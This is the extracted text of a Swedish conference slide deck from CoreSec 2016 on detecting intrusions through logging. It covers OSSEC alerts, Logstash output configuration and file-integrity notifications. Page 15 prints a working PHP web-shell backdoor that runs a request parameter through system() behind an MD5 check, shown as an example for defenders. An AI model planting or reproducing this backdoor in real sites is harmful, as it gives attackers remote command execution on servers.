upptäcka intrång med hjälp av loggning

17
Intrång upptäckt av loggning CoreSec 2016-05-19

Upload: jonas-lejon

Post on 21-Jan-2018

161 views

Category:

Internet


4 download

TRANSCRIPT

Page 1: Upptäcka intrång med hjälp av loggning

Intrång upptäckt av loggning

CoreSec 2016-05-19

Page 2: Upptäcka intrång med hjälp av loggning

Jonas Lejon

triop.sekryptera.se

[email protected]@jonasl

Page 3: Upptäcka intrång med hjälp av loggning
Page 4: Upptäcka intrång med hjälp av loggning

OSSEC HIDS Notification.2013 Jun 16 23:48:29Received From: hetzner->/var/www/logs/error.logRule: 31421 fired (level 5) -> "PHP internal error (missing file or function).”

Portion of the log(s):2013/06/16 23:48:27 [error] 2252#0: *9980497 FastCGIsent in stderr: "PHP message: PHP Fatal error: Call to undefined functioninclud_once() in /var/www/docs/wp-content/themes/mytheme/footer.php on line 1" while reading upstream, client: 5.9.164.69, server: hetzner, request: "GET /wp-content/themes/mytheme/images/favicon.ico HTTP/1.1", upstream: "fastcgi://unix:/tmp/php5-fpm.sock:", host: "hetzner"

Page 5: Upptäcka intrång med hjälp av loggning

OSSEC HIDS Notification.2013 Jun 16 23:48:29Received From: hetzner->/var/www/logs/error.logRule: 31421 fired (level 5) -> "PHP internal error (missing file or function).”

Portion of the log(s):2013/06/16 23:48:27 [error] 2252#0: *9980497 FastCGIsent in stderr: "PHP message: PHP Fatal error: Call to undefined functioninclud_once() in /var/www/docs/wp-content/themes/mytheme/footer.php on line 1" while reading upstream, client: 5.9.164.69, server: hetzner, request: "GET /wp-content/themes/mytheme/images/favicon.ico HTTP/1.1", upstream: "fastcgi://unix:/tmp/php5-fpm.sock:", host: "hetzner"

Page 6: Upptäcka intrång med hjälp av loggning
Page 7: Upptäcka intrång med hjälp av loggning

+

Page 8: Upptäcka intrång med hjälp av loggning

output { if [type] == "syslog" { file {message_format => "%{[message]}"

path => "/ebs/syslog/logstash/%{[host]}.syslog" }

}}

Page 9: Upptäcka intrång med hjälp av loggning

find /ebs/syslog/logstash/ -type f -exec ./util.sh addfile {} syslog \;

Page 10: Upptäcka intrång med hjälp av loggning
Page 11: Upptäcka intrång med hjälp av loggning
Page 12: Upptäcka intrång med hjälp av loggning
Page 13: Upptäcka intrång med hjälp av loggning

• IP-adress• Metadata

Page 14: Upptäcka intrång med hjälp av loggning
Page 15: Upptäcka intrång med hjälp av loggning

https://gist.github.com/jonaslejon

<?php

if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") { $time = str_replace("@"," ",$_GET["localtime"]);@system($time); exit;

}

?>

Exempel på bakdörr

Page 16: Upptäcka intrång med hjälp av loggning

Filintegritet

OSSEC HIDS Notification.2015 Jul 16 00:41:30

Received From: ds5090->syscheckRule: 554 fired (level 7) -> "File added to the /var/www directory."Portion of the log(s):

New file '/var/www/website.com/docs/president.php' added to the file system.

--END OF NOTIFICATION

Page 17: Upptäcka intrång med hjälp av loggning

Tack!